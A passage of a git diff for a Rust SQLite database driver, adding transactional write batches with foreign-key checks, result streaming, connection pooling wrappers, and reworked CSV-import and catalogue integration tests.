shared(&columns), + }; + if gone(sink.accept(resolved).await) { + outcome.consumer_gone = true; + return Ok(()); + } + } + batch.push(values); + retained += 1; + if batch.len() == ROWS_PER_EVENT && gone(sink.accept(ResultEvent::Rows(std::mem::take(&mut batch))).await) { + outcome.rows += retained; + outcome.consumer_gone = true; + return Ok(()); + } + } + // Dropping the read resets the statement, which is what stops it + // reading past the limit. + drop(stream); + outcome.rows += retained; + + let mut closing = Vec::new(); + if !batch.is_empty() { + closing.push(ResultEvent::Rows(batch)); + } + if truncation == Truncation::ReadPastLimit { + closing.push(ResultEvent::RowLimitReached { retained }); + } + closing.push(ResultEvent::ResultSetFinished { + retained, + total_rows: (truncation == Truncation::Complete).then_some(retained), + truncation, + }); + for event in closing { + if gone(sink.accept(event).await) { + outcome.consumer_gone = true; + break; + } + } + Ok(()) +} + +fn gone(flow: SinkFlow) -> bool { + flow == SinkFlow::ConsumerGone +} + +/// A result column whose type may wait for the first row. +#[derive(Debug, Clone)] +struct PendingColumn { + name: String, + column_type: Option, +} + +async fn prepare(connection: &mut SqlxConnection, sql: &str) -> Result, DriverError> { + let prepared = (&mut *connection) + .prepare(AssertSqlSafe(sql.to_owned()).into_sql_str()) + .await + .map_err(map_error)?; + Ok(prepared.columns().iter().map(pending).collect()) +} + +fn pending(column: &SqliteColumn) -> PendingColumn { + PendingColumn { + name: column.name().to_owned(), + column_type: result_column_type(column.type_info().name()), + } +} + +/// Give an expression column the type of the value its first row +/// holds, which is all SQLite can say about it. +fn resolve(columns: &mut [PendingColumn], row: &[Value]) { + for (column, value) in columns.iter_mut().zip(row) { + if column.column_type.is_none() && !value.is_null() { + column.column_type = Some(storage_class_type(value)); + } + } +} + +fn finish(columns: Vec) -> Vec { + columns + .into_iter() + .map(|column| { + let column_type = column.column_type.unwrap_or_else(|| storage_class_type(&Value::Null)); + ResultColumn::new(column.name, column_type) + }) + .collect() +} + +fn shared(columns: &[PendingColumn]) -> Arc<[ResultColumn]> { + finish(columns.to_vec()).into() +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn a_trigger_body_stays_one_statement() { + let script = "CREATE TRIGGER t AFTER INSERT ON a BEGIN SELECT 1; SELECT 2; END; SELECT 3;"; + + let statements = split_statements(script); + + assert_eq!(statements.len(), 2, "{statements:?}"); + assert!(statements[0].starts_with("CREATE TRIGGER")); + assert!(statements[1].starts_with("SELECT 3")); + } + + #[test] + fn an_unfinished_script_goes_to_sqlite_whole() { + assert_eq!(split_statements("SELECT 'open"), ["SELECT 'open"]); + assert!(split_statements(" -- only a comment\n").is_empty()); + } + + #[test] + fn only_row_changes_report_a_change_count() { + assert!(reports_changes(" INSERT INTO t VALUES (1)")); + assert!(reports_changes("with x AS (SELECT 1) DELETE FROM t")); + assert!(reports_changes("/* why */ update t SET a = 1")); + assert!(!reports_changes("CREATE TABLE t (a)")); + assert!(!reports_changes("PRAGMA foreign_keys = ON")); + } +} diff --git a/linux/crates/drivers/sqlite/src/sqlite_pooled.rs b/linux/crates/drivers/sqlite/src/sqlite_pooled.rs new file mode 100644 index 0000000000..7f71c7be59 --- /dev/null +++ b/linux/crates/drivers/sqlite/src/sqlite_pooled.rs @@ -0,0 +1,57 @@ +use std::sync::Arc; +use std::sync::atomic::{AtomicBool, Ordering}; + +use sqlx::Sqlite; +use sqlx::pool::PoolConnection; +use sqlx::sqlite::SqliteConnection as SqlxConnection; +use tablepro_core::CallResource; + +/// The workspace connection, held for one call. +/// +/// sqlx keeps nothing of ours on a pooled connection that a pool hook +/// could read back, so the call's abandon flag travels with the hold: +/// a connection whose call was abandoned, or that a call asked to +/// discard, is closed when the hold ends instead of going back to the +/// pool with a statement or a suspended setting still on it. +#[derive(Debug)] +pub(crate) struct SqlitePooled { + connection: PoolConnection, + abandon: Arc, +} + +impl SqlitePooled { + pub(crate) fn new(connection: PoolConnection) -> Self { + Self { + connection, + abandon: Arc::new(AtomicBool::new(false)), + } + } + + pub(crate) fn connection(&mut self) -> &mut SqlxConnection { + &mut self.connection + } + + /// Close the connection when the call ends, for a call that left it + /// in a state the next one must not inherit. + pub(crate) fn discard_on_release(&mut self) { + self.connection.close_on_drop(); + } +} + +impl CallResource for SqlitePooled { + fn abandon_flag(&self) -> Arc { + self.abandon.clone() + } + + fn discard(mut self) { + self.discard_on_release(); + } +} + +impl Drop for SqlitePooled { + fn drop(&mut self) { + if self.abandon.load(Ordering::SeqCst) { + self.connection.close_on_drop(); + } + } +} diff --git a/linux/crates/drivers/sqlite/src/sqlite_standalone.rs b/linux/crates/drivers/sqlite/src/sqlite_standalone.rs new file mode 100644 index 0000000000..6c76d611fd --- /dev/null +++ b/linux/crates/drivers/sqlite/src/sqlite_standalone.rs @@ -0,0 +1,36 @@ +use std::sync::Arc; +use std::sync::atomic::AtomicBool; + +use sqlx::sqlite::SqliteConnection as SqlxConnection; +use tablepro_core::CallResource; + +/// A connection opened for one call and closed after it, as a streamed +/// read uses. +#[derive(Debug)] +pub(crate) struct SqliteStandalone { + connection: SqlxConnection, + abandon: Arc, +} + +impl SqliteStandalone { + pub(crate) fn new(connection: SqlxConnection) -> Self { + Self { + connection, + abandon: Arc::new(AtomicBool::new(false)), + } + } + + pub(crate) fn connection(&mut self) -> &mut SqlxConnection { + &mut self.connection + } +} + +impl CallResource for SqliteStandalone { + fn abandon_flag(&self) -> Arc { + self.abandon.clone() + } + + /// Dropping the connection ends its worker thread, which closes the + /// file once the statement it is running has stopped. + fn discard(self) {} +} diff --git a/linux/crates/drivers/sqlite/src/write_batch.rs b/linux/crates/drivers/sqlite/src/write_batch.rs new file mode 100644 index 0000000000..e123083e91 --- /dev/null +++ b/linux/crates/drivers/sqlite/src/write_batch.rs @@ -0,0 +1,319 @@ +//! A save, as one SQLite write transaction. +//! +//! Every batch starts with BEGIN IMMEDIATE, which takes the write lock +//! before the first probe reads anything. A deferred BEGIN would take +//! it at the first write instead, and a probe that read first could +//! then fail to upgrade its lock. Contention therefore shows up once, +//! as Busy after the lock timeout, before anything has run. + +use std::collections::HashMap; + +use sqlx::sqlite::SqliteConnection as SqlxConnection; +use sqlx::{AssertSqlSafe, Connection as _, Row}; +use tablepro_core::meta::TableRef; +use tablepro_core::statement::{GuardedStatement, RowGuard}; +use tablepro_core::{ + DriverError, ForeignKeyCheck, ForeignKeyMode, LossPhase, SessionFate, StopReason, StopRequest, TimeoutPhase, + WriteBatch, WriteLedger, WriteReport, +}; + +use crate::catalog::{FOREIGN_KEY_CHECK_SQL, MAIN_SCHEMA}; +use crate::encode::bind_all; +use crate::errors::{SQLITE_IOERR, is_interrupt, map_error, primary_of}; +use crate::foreign_key_verification::{Violation, introduced, renamed, violation_error}; +use crate::interrupt::InterruptFlag; +use crate::result_stream::{count, reports_changes}; +use crate::sqlite_pooled::SqlitePooled; + +/// Run `batch` on the held connection, recording each step in `ledger`. +pub(crate) async fn run( + pooled: &mut SqlitePooled, + batch: &WriteBatch, + ledger: &WriteLedger, + flag: &InterruptFlag, + request: &StopRequest, +) -> Result { + flag.install(pooled.connection()).await?; + let checks = match &batch.foreign_keys { + ForeignKeyMode::Enforced => None, + ForeignKeyMode::SuspendedThenVerified { checks } => Some(checks.as_slice()), + }; + // The pragma does nothing inside a transaction, so it is turned off + // before BEGIN and back on after COMMIT or ROLLBACK. + let restore = match checks { + Some(_) => suspend_foreign_keys(pooled.connection()).await?, + None => false, + }; + let mut write = Write { + batch, + ledger, + flag, + request, + discard: false, + }; + let outcome = write.transaction(pooled.connection(), checks).await; + if restore { + flag.lower(); + if let Err(error) = sqlx::query("PRAGMA foreign_keys = ON") + .execute(pooled.connection()) + .await + { + // A new connection gets foreign keys from its open options. + tracing::warn!(%error, "foreign keys could not be turned back on; closing the connection"); + write.discard = true; + } + } + if write.discard { + pooled.discard_on_release(); + } + outcome +} + +/// Turn foreign keys off for the batch, saying whether they were on. +async fn suspend_foreign_keys(connection: &mut SqlxConnection) -> Result { + let enabled: i64 = sqlx::query_scalar("PRAGMA foreign_keys") + .fetch_one(&mut *connection) + .await + .map_err(map_error)?; + if enabled == 0 { + return Ok(false); + } + sqlx::query("PRAGMA foreign_keys = OFF") + .execute(&mut *connection) + .await + .map_err(map_error)?; + Ok(true) +} + +struct Write<'a> { + batch: &'a WriteBatch, + ledger: &'a WriteLedger, + flag: &'a InterruptFlag, + request: &'a StopRequest, + /// The connection must not go back to the pool: its rollback failed, + /// or a COMMIT failed and sqlx's own count of open transactions can + /// no longer be trusted. + discard: bool, +} + +impl Write<'_> { + async fn transaction( + &mut self, + connection: &mut SqlxConnection, + checks: Option<&[ForeignKeyCheck]>, + ) -> Result { + let mut transaction = match connection.begin_with(AssertSqlSafe("BEGIN IMMEDIATE")).await { + Ok(transaction) => transaction, + Err(error) => { + let error = map_error(error); + return Err(match self.stopped(&error) { + Some(cause) => self.ledger.interrupted(cause, SessionFate::RolledBack), + None => error, + }); + } + }; + + let baseline = match checks { + Some(checks) => match baseline(&mut transaction, checks).await { + Ok(baseline) => baseline, + Err(error) => { + let fate = self.rollback(transaction).await; + return Err(self.failure(0, error, fate)); + } + }, + None => Vec::new(), + }; + + let mut rows_affected = Vec::with_capacity(self.batch.steps.len()); + for (index, step) in self.batch.steps.iter().enumerate() { + if let Some(cause) = self.request.reason().map(stop_cause) { + let fate = self.rollback(transaction).await; + return Err(self.ledger.interrupted(cause, fate)); + } + match self.step(&mut transaction, index, step).await { + Ok(affected) => rows_affected.push(affected), + Err(StepFailure::Guard { expected, actual }) => { + let fate = self.rollback(transaction).await; + return Err(self.ledger.guard_failed(index, expected, actual, fate)); + } + Err(StepFailure::Error(error)) => { + let fate = self.rollback(transaction).await; + return Err(self.failure(index, error, fate)); + } + } + } + + if let Some(checks) = checks { + let after = match violations_after(&mut transaction, checks).await { + Ok(after) => after, + Err(error) => { + let fate = self.rollback(transaction).await; + return Err(self.failure(self.batch.steps.len(), error, fate)); + } + }; + let introduced = introduced(&baseline, &after); + if !introduced.is_empty() { + self.rollback(transaction).await; + return Err(DriverError::RolledBack { + statement_index: self.batch.steps.len(), + source: Box::new(violation_error(&introduced)), + }); + } + } + + if let Some(cause) = self.request.reason().map(stop_cause) { + let fate = self.rollback(transaction).await; + return Err(self.ledger.interrupted(cause, fate)); + } + self.ledger.commit_sending(None); + // Past this point a stop would turn a known outcome into an + // unknown one, so the COMMIT runs whatever was asked. + self.flag.lower(); + match transaction.commit().await { + Ok(()) => Ok(WriteReport::new(rows_affected)), + Err(error) => { + let error = map_error(error); + self.discard = true; + // An I/O error during COMMIT may have left the journal + // either side of the commit point. + match primary_of(&error) { + Some(SQLITE_IOERR) => Err(self.ledger.interrupted(error, SessionFate::Discarded)), + _ => Err(self + .ledger + .failed(self.batch.steps.len(), error, SessionFate::RolledBack)), + } + } + } + } + + /// Probe, send and check one step. + async fn step( + &self, + connection: &mut SqlxConnection, + index: usize, + step: &GuardedStatement, + ) -> Result, StepFailure> { + if let Some((probe, expected)) = step.guard.probe() { + let actual = count(connection, probe).await.map_err(StepFailure::Error)?; + if actual != expected { + return Err(StepFailure::Guard { expected, actual }); + } + } + let sql = step.statement.sql(); + let query = bind_all(sqlx::query(AssertSqlSafe(sql.to_owned())), step.statement.params()) + .map_err(StepFailure::Error)?; + self.ledger.statement_sending(index); + let done = query + .execute(&mut *connection) + .await + .map_err(|error| StepFailure::Error(map_error(error)))?; + self.ledger.statement_confirmed(index); + let affected = done.rows_affected(); + if let (Some(false), RowGuard::AffectedExactly(expected)) = (step.guard.accepts_affected(affected), &step.guard) + { + return Err(StepFailure::Guard { + expected: *expected, + actual: affected, + }); + } + Ok(reports_changes(sql).then_some(affected)) + } + + async fn rollback(&mut self, transaction: sqlx::Transaction<'_, sqlx::Sqlite>) -> SessionFate { + self.flag.lower(); + match transaction.rollback().await { + Ok(()) => SessionFate::RolledBack, + Err(error) => { + // Closing the connection rolls back what is still open. + tracing::warn!(error = %map_error(error), "a rollback failed; closing the connection"); + self.discard = true; + SessionFate::Discarded + } + } + } + + /// The outcome of a step the server refused, or that a stop cut off. + fn failure(&self, index: usize, error: DriverError, fate: SessionFate) -> DriverError { + match self.stopped(&error) { + Some(cause) => self.ledger.interrupted(cause, fate), + None => self.ledger.failed(index, error, fate), + } + } + + /// What the caller is told when `error` is the interrupt a stop + /// raised. + fn stopped(&self, error: &DriverError) -> Option { + match is_interrupt(error) { + true => self.request.reason().map(stop_cause), + false => None, + } + } +} + +enum StepFailure { + Guard { expected: u64, actual: u64 }, + Error(DriverError), +} + +fn stop_cause(reason: StopReason) -> DriverError { + match reason { + StopReason::Cancelled => DriverError::Cancelled, + StopReason::DeadlineElapsed => DriverError::Timeout { + phase: TimeoutPhase::Statement, + server_cancelled: true, + }, + StopReason::Shutdown => DriverError::ConnectionLost { + during: LossPhase::Statement, + }, + } +} + +/// The violations already there, named as they will be after the batch. +async fn baseline(connection: &mut SqlxConnection, checks: &[ForeignKeyCheck]) -> Result, DriverError> { + let mut found = Vec::new(); + let mut renames = HashMap::new(); + for check in checks { + let Some(before) = &check.before else { + continue; + }; + found.extend(violations(connection, before).await?); + renames.insert(before.name.to_lowercase(), check.after.name.clone()); + } + Ok(renamed(found, &renames)) +} + +async fn violations_after( + connection: &mut SqlxConnection, + checks: &[ForeignKeyCheck], +) -> Result, DriverError> { + let mut found = Vec::new(); + for check in checks { + found.extend(violations(connection, &check.after).await?); + } + Ok(found) +} + +/// `foreign_key_check` for one child table: the rows whose parent row +/// is missing. +async fn violations(connection: &mut SqlxConnection, table: &TableRef) -> Result, DriverError> { + let schema = table + .schema + .as_deref() + .filter(|schema| !schema.is_empty()) + .unwrap_or(MAIN_SCHEMA); + let rows = sqlx::query(FOREIGN_KEY_CHECK_SQL) + .bind(table.name.as_str()) + .bind(schema) + .fetch_all(&mut *connection) + .await + .map_err(map_error)?; + rows.iter() + .map(|row| { + Ok(Violation { + table: row.try_get("table").map_err(map_error)?, + rowid: row.try_get("rowid").map_err(map_error)?, + parent: row.try_get("parent").map_err(map_error)?, + }) + }) + .collect() +} diff --git a/linux/crates/drivers/sqlite/tests/csv_import.rs b/linux/crates/drivers/sqlite/tests/csv_import.rs index e2b208f989..a04cd82728 100644 --- a/linux/crates/drivers/sqlite/tests/csv_import.rs +++ b/linux/crates/drivers/sqlite/tests/csv_import.rs @@ -1,63 +1,124 @@ //! The CSV import end to end: read a file, map its fields onto a -//! table's columns, build the INSERTs and run them, then read the rows +//! table's columns, build the INSERTs and save them, then read the rows //! back out of the database. +use std::sync::Arc; +use std::time::Duration; + use drivers_sqlite::SqliteDriver; +use sqlx::Connection as _; +use sqlx::sqlite::{SqliteConnectOptions, SqliteConnection}; use tablepro_core::dml::build_insert; use tablepro_core::import::{CsvImportOptions, read_csv, row_to_cells, suggest_mapping}; use tablepro_core::meta::TableRef; -use tablepro_core::{ConnectOptions, DatabaseDriver, Value}; +use tablepro_core::statement::{GuardedStatement, StatementBuilder}; +use tablepro_core::{ + CallOptions, ConnectEnvironment, ConnectOptions, ConnectTarget, Connection, DatabaseDriver, FileEndpoint, + ForeignKeyMode, LivenessPolicy, QueryResult, RowLimit, Value, WorkspaceSettings, WriteBatch, WriteKind, + WriteReport, +}; +use tempfile::TempDir; +use tokio::time::Instant; +use tokio_util::sync::CancellationToken; /// The helpers cannot use `expect`, which the workspace lints deny /// outside a `#[test]` body, so they hand their failures back. -async fn open() -> Result, tablepro_core::DriverError> { +async fn open() -> Result<(TempDir, Arc), String> { + let directory = tempfile::tempdir().map_err(|error| error.to_string())?; + let path = directory.path().join("import.sqlite3"); + let create = SqliteConnectOptions::new().filename(&path).create_if_missing(true); + SqliteConnection::connect_with(&create) + .await + .map_err(|error| error.to_string())? + .close() + .await + .map_err(|error| error.to_string())?; let options = ConnectOptions { - database: ":memory:".into(), - ..Default::default() + target: ConnectTarget::File(FileEndpoint::open_existing(path).map_err(|error| error.to_string())?), + workspace_settings: WorkspaceSettings::workspace(false), + liveness: LivenessPolicy::DESKTOP, + environment: ConnectEnvironment::new("test"), }; - SqliteDriver.connect(options).await + let connection = SqliteDriver + .connect(options, CancellationToken::new()) + .await + .map_err(|error| error.to_string())?; + Ok((directory, connection)) +} + +fn call() -> CallOptions { + CallOptions::new(Some(Instant::now() + Duration::from_secs(30)), CancellationToken::new()) +} + +fn plain(sql: &str) -> GuardedStatement { + let mut builder = StatementBuilder::new(); + builder.push_sql(sql); + GuardedStatement::unguarded(builder.finish()) +} + +async fn save( + connection: &dyn Connection, + kind: WriteKind, + table: &str, + steps: Vec, +) -> Result { + let batch = WriteBatch::new(kind, TableRef::unqualified(table), steps, ForeignKeyMode::Enforced); + connection + .write_batch(&batch, call()) + .await + .map_err(|error| error.to_string()) +} + +async fn create(connection: &dyn Connection, sql: &str) -> Result { + save(connection, WriteKind::SchemaChanges, "t", vec![plain(sql)]).await +} + +async fn query(connection: &dyn Connection, sql: &str) -> Result { + let mut builder = StatementBuilder::new(); + builder.push_sql(sql); + connection + .query_bound(&builder.finish(), RowLimit::EDITOR_DEFAULT, call()) + .await + .map_err(|error| error.to_string()) } /// Run `csv` into `table`, mapping by header name, and return how many /// rows each statement reported. async fn import( - connection: &dyn tablepro_core::Connection, + connection: &dyn Connection, table: &str, csv: &[u8], options: &CsvImportOptions, -) -> Result, String> { +) -> Result>, String> { + let table_ref = TableRef::unqualified(table); let columns = connection - .fetch_columns(None, table) + .fetch_columns(&table_ref, call()) .await .map_err(|error| error.to_string())?; let sheet = read_csv(csv, options, None).map_err(|error| error.to_string())?; let mapping = suggest_mapping(&sheet.headers, &columns); - let dialect = tablepro_core::dialect::dialect_for("sqlite"); - let table_ref = TableRef { - schema: None, - name: table.to_owned(), - }; + let dialect = connection.dialect(); - let mut statements = Vec::new(); + let mut steps = Vec::new(); for (index, row) in sheet.rows.iter().enumerate() { let cells = row_to_cells(row, &mapping, &columns, options, index + 2).map_err(|error| error.reason)?; - let statement = build_insert(dialect, &table_ref, &columns, &cells).map_err(|error| error.to_string())?; - let (sql, params) = statement.into_parts(); - statements.push((sql, params.into_iter().map(|p| p.value().clone()).collect::>())); + let statement = + build_insert(dialect.as_ref(), &table_ref, &columns, &cells).map_err(|error| error.to_string())?; + steps.push(GuardedStatement::unguarded(statement)); } - connection - .execute_in_transaction(&statements) - .await - .map_err(|error| error.to_string()) + let report = save(connection, WriteKind::RowChanges, table, steps).await?; + Ok(report.rows_affected) } #[tokio::test] async fn a_file_lands_in_the_table_with_its_values_typed() { - let connection = open().await.expect("an in-memory database"); - connection - .execute("CREATE TABLE people (id INTEGER PRIMARY KEY, name TEXT, score REAL, note TEXT)") - .await - .expect("the table"); + let (_directory, connection) = open().await.expect("a database file"); + create( + connection.as_ref(), + "CREATE TABLE people (id INTEGER PRIMARY KEY, name TEXT, score REAL, note TEXT)", + ) + .await + .expect("the table"); let affected = import( connection.as_ref(), @@ -68,25 +129,30 @@ async fn a_file_lands_in_the_table_with_its_values_typed() { .await .expect("the import"); - assert_eq!(affected, vec![1, 1]); - let rows = connection - .query("SELECT id, name, score, note FROM people ORDER BY id") - .await - .expect("the rows"); + assert_eq!(affected, vec![Some(1), Some(1)]); + let rows = query( + connection.as_ref(), + "SELECT id, name, score, note FROM people ORDER BY id", + ) + .await + .expect("the rows"); assert_eq!(rows.rows.len(), 2); assert_eq!(rows.rows[0][0], Value::Int(1)); assert_eq!(rows.rows[0][1], Value::Text("ada".into())); assert_eq!(rows.rows[0][2], Value::Float64(9.5)); assert_eq!(rows.rows[1][3], Value::Text(String::new())); + connection.close().await.expect("the close"); } #[tokio::test] async fn a_column_the_file_does_not_name_keeps_its_default() { - let connection = open().await.expect("an in-memory database"); - connection - .execute("CREATE TABLE notes (id INTEGER PRIMARY KEY, body TEXT, status TEXT NOT NULL DEFAULT 'new')") - .await - .expect("the table"); + let (_directory, connection) = open().await.expect("a database file"); + create( + connection.as_ref(), + "CREATE TABLE notes (id INTEGER PRIMARY KEY, body TEXT, status TEXT NOT NULL DEFAULT 'new')", + ) + .await + .expect("the table"); import( connection.as_ref(), @@ -97,17 +163,22 @@ async fn a_column_the_file_does_not_name_keeps_its_default() { .await .expect("the import"); - let rows = connection.query("SELECT status FROM notes").await.expect("the rows"); + let rows = query(connection.as_ref(), "SELECT status FROM notes") + .await + .expect("the rows"); assert_eq!(rows.rows[0][0], Value::Text("new".into())); + connection.close().await.expect("the close"); } #[tokio::test] async fn a_row_the_table_cannot_hold_leaves_the_table_as_it_was() { - let connection = open().await.expect("an in-memory database"); - connection - .execute("CREATE TABLE counts (id INTEGER PRIMARY KEY, total INTEGER NOT NULL)") - .await - .expect("the table"); + let (_directory, connection) = open().await.expect("a database file"); + create( + connection.as_ref(), + "CREATE TABLE counts (id INTEGER PRIMARY KEY, total INTEGER NOT NULL)", + ) + .await + .expect("the table"); // The second row has no total, and the column refuses NULL, so the // whole file has to roll back rather than land halfway. @@ -120,20 +191,22 @@ async fn a_row_the_table_cannot_hold_leaves_the_table_as_it_was() { .await; assert!(outcome.is_err(), "the import reported success: {outcome:?}"); - let rows = connection - .query("SELECT COUNT(*) FROM counts") + let rows = query(connection.as_ref(), "SELECT COUNT(*) FROM counts") .await .expect("the count"); assert_eq!(rows.rows[0][0], Value::Int(0), "a failed import left rows behind"); + connection.close().await.expect("the close"); } #[tokio::test] async fn a_value_the_column_cannot_parse_is_refused_before_anything_runs() { - let connection = open().await.expect("an in-memory database"); - connection - .execute("CREATE TABLE stamps (id INTEGER PRIMARY KEY, at DATE)") - .await - .expect("the table"); + let (_directory, connection) = open().await.expect("a database file"); + create( + connection.as_ref(), + "CREATE TABLE stamps (id INTEGER PRIMARY KEY, at DATE)", + ) + .await + .expect("the table"); let outcome = import( connection.as_ref(), @@ -144,18 +217,17 @@ async fn a_value_the_column_cannot_parse_is_refused_before_anything_runs() { .await; assert!(outcome.is_err(), "a bad date imported: {outcome:?}"); - let rows = connection - .query("SELECT COUNT(*) FROM stamps") + let rows = query(connection.as_ref(), "SELECT COUNT(*) FROM stamps") .await .expect("the count"); assert_eq!(rows.rows[0][0], Value::Int(0)); + connection.close().await.expect("the close"); } #[tokio::test] async fn a_semicolon_file_without_a_header_imports_by_position() { - let connection = open().await.expect("an in-memory database"); - connection - .execute("CREATE TABLE pairs (a TEXT, b TEXT)") + let (_directory, connection) = open().await.expect("a database file"); + create(connection.as_ref(), "CREATE TABLE pairs (a TEXT, b TEXT)") .await .expect("the table"); let options = CsvImportOptions { @@ -170,26 +242,25 @@ async fn a_semicolon_file_without_a_header_imports_by_position() { let sheet = read_csv(b"one;two\n", &options, None).expect("the file"); assert_eq!(sheet.headers, vec!["Column 1", "Column 2"]); - let columns = connection.fetch_columns(None, "pairs").await.expect("the columns"); + let table = TableRef::unqualified("pairs"); + let columns = connection.fetch_columns(&table, call()).await.expect("the columns"); let mapping = vec![Some(0), Some(1)]; let cells = row_to_cells(&sheet.rows[0], &mapping, &columns, &options, 1).expect("the cells"); - let statement = build_insert( - tablepro_core::dialect::dialect_for("sqlite"), - &TableRef { - schema: None, - name: "pairs".to_owned(), - }, - &columns, - &cells, + let dialect = connection.dialect(); + let statement = build_insert(dialect.as_ref(), &table, &columns, &cells).expect("the insert"); + save( + connection.as_ref(), + WriteKind::RowChanges, + "pairs", + vec![GuardedStatement::unguarded(statement)], ) - .expect("the insert"); - let (sql, params) = statement.into_parts(); - connection - .execute_in_transaction(&[(sql, params.into_iter().map(|p| p.value().clone()).collect())]) - .await - .expect("the import"); + .await + .expect("the import"); - let rows = connection.query("SELECT a, b FROM pairs").await.expect("the rows"); + let rows = query(connection.as_ref(), "SELECT a, b FROM pairs") + .await + .expect("the rows"); assert_eq!(rows.rows[0][0], Value::Text("one".into())); assert_eq!(rows.rows[0][1], Value::Text("two".into())); + connection.close().await.expect("the close"); } diff --git a/linux/crates/drivers/sqlite/tests/integration/catalog.rs b/linux/crates/drivers/sqlite/tests/integration/catalog.rs new file mode 100644 index 0000000000..1db4707b36 --- /dev/null +++ b/linux/crates/drivers/sqlite/tests/integration/catalog.rs @@ -0,0 +1,185 @@ +//! Column kinds from SQLite's structured catalogue, and table +//! definitions with their dependents. + +use tablepro_core::Value; +use tablepro_core::column::{ColumnDefault, ColumnKind, IntegerKind, IntegerWidth}; +use tablepro_core::ddl::{GeneratedStorage, IdentityStyle, SchemaObjectKind}; +use tablepro_core::meta::TableRef; + +use crate::support::{TestFile, apply, call}; + +#[tokio::test] +async fn strict_table_is_not_dynamic() { + let file = TestFile::new().await; + let connection = file.open().await; + apply( + connection.as_ref(), + &["CREATE TABLE fixed (id INTEGER PRIMARY KEY, n INTEGER, anything ANY) STRICT"], + ) + .await + .unwrap(); + + let columns = connection + .fetch_columns(&TableRef::unqualified("fixed"), call()) + .await + .unwrap(); + + assert!( + !columns[1].column_type.dynamic_storage, + "a STRICT column holds only its type" + ); + assert!( + columns[2].column_type.dynamic_storage, + "ANY holds any class even when STRICT" + ); + assert_eq!( + columns[1].column_type.kind, + ColumnKind::Integer(IntegerKind { + width: IntegerWidth::W64, + signed: true + }) + ); + connection.close().await.unwrap(); +} + +#[tokio::test] +async fn decimal_declared_type_is_decimal_dynamic() { + let file = TestFile::new().await; + let connection = file.open().await; + apply( + connection.as_ref(), + &["CREATE TABLE prices (amount DECIMAL(10,2) DEFAULT 0, label TEXT DEFAULT 'none')"], + ) + .await + .unwrap(); + + let columns = connection + .fetch_columns(&TableRef::unqualified("prices"), call()) + .await + .unwrap(); + + assert_eq!( + columns[0].column_type.kind, + ColumnKind::Decimal { + precision: Some(10), + scale: Some(2) + } + ); + assert!(columns[0].column_type.dynamic_storage); + assert_eq!( + columns[0] + .column_type + .catalog + .as_ref() + .map(|catalog| catalog.declaration.as_sql()), + Some("DECIMAL(10,2)") + ); + assert_eq!(columns[0].default, ColumnDefault::Literal(Value::Int(0))); + assert_eq!( + columns[1].default, + ColumnDefault::Literal(Value::Text("none".to_owned())) + ); + connection.close().await.unwrap(); +} + +#[tokio::test] +async fn fetch_table_definition_lists_inbound_foreign_keys() { + let file = TestFile::new().await; + let connection = file.open().await; + apply( + connection.as_ref(), + &[ + "CREATE TABLE orders (id INTEGER PRIMARY KEY, code TEXT UNIQUE)", + "CREATE TABLE lines (id INTEGER PRIMARY KEY, order_id INTEGER REFERENCES orders)", + "CREATE TABLE notes (id INTEGER PRIMARY KEY, order_code TEXT REFERENCES \"ORDERS\" (code))", + "CREATE TABLE unrelated (id INTEGER PRIMARY KEY)", + ], + ) + .await + .unwrap(); + + let definition = connection + .fetch_table_definition(&TableRef::unqualified("orders"), call()) + .await + .unwrap(); + + let inbound: Vec<(&str, &[String], &[String])> = definition + .inbound_foreign_keys + .iter() + .map(|key| { + ( + key.table.name.as_str(), + key.columns.as_slice(), + key.referenced_columns.as_slice(), + ) + }) + .collect(); + assert_eq!( + inbound, + [ + ("lines", &["order_id".to_owned()][..], &["id".to_owned()][..]), + ("notes", &["order_code".to_owned()][..], &["code".to_owned()][..]), + ] + ); + assert_eq!( + definition.primary_key.map(|key| key.columns), + Some(vec!["id".to_owned()]) + ); + assert_eq!( + definition.columns[0].attributes.identity, + IdentityStyle::SqliteRowidAlias + ); + connection.close().await.unwrap(); +} + +#[tokio::test] +async fn dependents_and_source_are_read() { + let file = TestFile::new().await; + let connection = file.open().await; + apply( + connection.as_ref(), + &[ + "CREATE TABLE orders (id INTEGER PRIMARY KEY, total INTEGER, doubled INTEGER GENERATED ALWAYS AS (total * 2) STORED)", + "CREATE TABLE audit (note TEXT)", + "CREATE INDEX orders_total ON orders (total)", + "CREATE VIEW big AS SELECT * FROM orders WHERE total > 10", + "CREATE VIEW big_count AS SELECT count(*) AS n FROM big", + "CREATE TRIGGER audit_note AFTER INSERT ON audit BEGIN DELETE FROM orders WHERE total = 0; END", + "CREATE TRIGGER audit_other AFTER INSERT ON audit BEGIN SELECT 'orders'; END", + ], + ) + .await + .unwrap(); + + let definition = connection + .fetch_table_definition(&TableRef::unqualified("orders"), call()) + .await + .unwrap(); + + let source = definition.source.as_ref().unwrap(); + assert!( + source.create_statement.starts_with("CREATE TABLE orders"), + "{}", + source.create_statement + ); + let dependents: Vec<(SchemaObjectKind, &str)> = source + .dependents + .iter() + .map(|object| (object.kind, object.name.as_str())) + .collect(); + assert_eq!( + dependents, + [ + (SchemaObjectKind::Index, "orders_total"), + (SchemaObjectKind::View, "big"), + (SchemaObjectKind::View, "big_count"), + (SchemaObjectKind::Trigger, "audit_note"), + ] + ); + let doubled = definition.column("doubled").unwrap(); + assert!(doubled.info.is_generated); + let generated = doubled.attributes.generated.as_ref().unwrap(); + assert_eq!(generated.storage, GeneratedStorage::Stored); + assert_eq!(generated.expression.as_sql(), "total * 2"); + connection.close().await.unwrap(); +} diff --git a/linux/crates/drivers/sqlite/tests/integration/conformance_engine.rs b/linux/crates/drivers/sqlite/tests/integration/conformance_engine.rs new file mode 100644 index 0000000000..c287e7b26e --- /dev/null +++ b/linux/crates/drivers/sqlite/tests/integration/conformance_engine.rs @@ -0,0 +1,127 @@ +//! The connection conformance suite on SQLite. + +use std::path::PathBuf; +use std::sync::Arc; +use std::time::Duration; + +use async_trait::async_trait; +use drivers_sqlite::SqliteDriver; +use sqlx::sqlite::{SqliteConnectOptions, SqliteConnection}; +use sqlx::{Connection as _, Executor as _}; +use tablepro_core::{ + ConnectEnvironment, ConnectOptions, ConnectTarget, DatabaseDriver, FileEndpoint, LivenessPolicy, TableRef, + WorkspaceSettings, +}; +use tablepro_test_support::conformance::{ + ConformanceEngine, ConformanceFailure, EditorTransactionEngine, PooledConformanceEngine, +}; +use tempfile::TempDir; + +use crate::support::create_database; + +/// A database file of the case's own, which exists before the driver +/// opens it: the suite never relies on the driver creating one. +pub struct SqliteEngine { + _directory: TempDir, 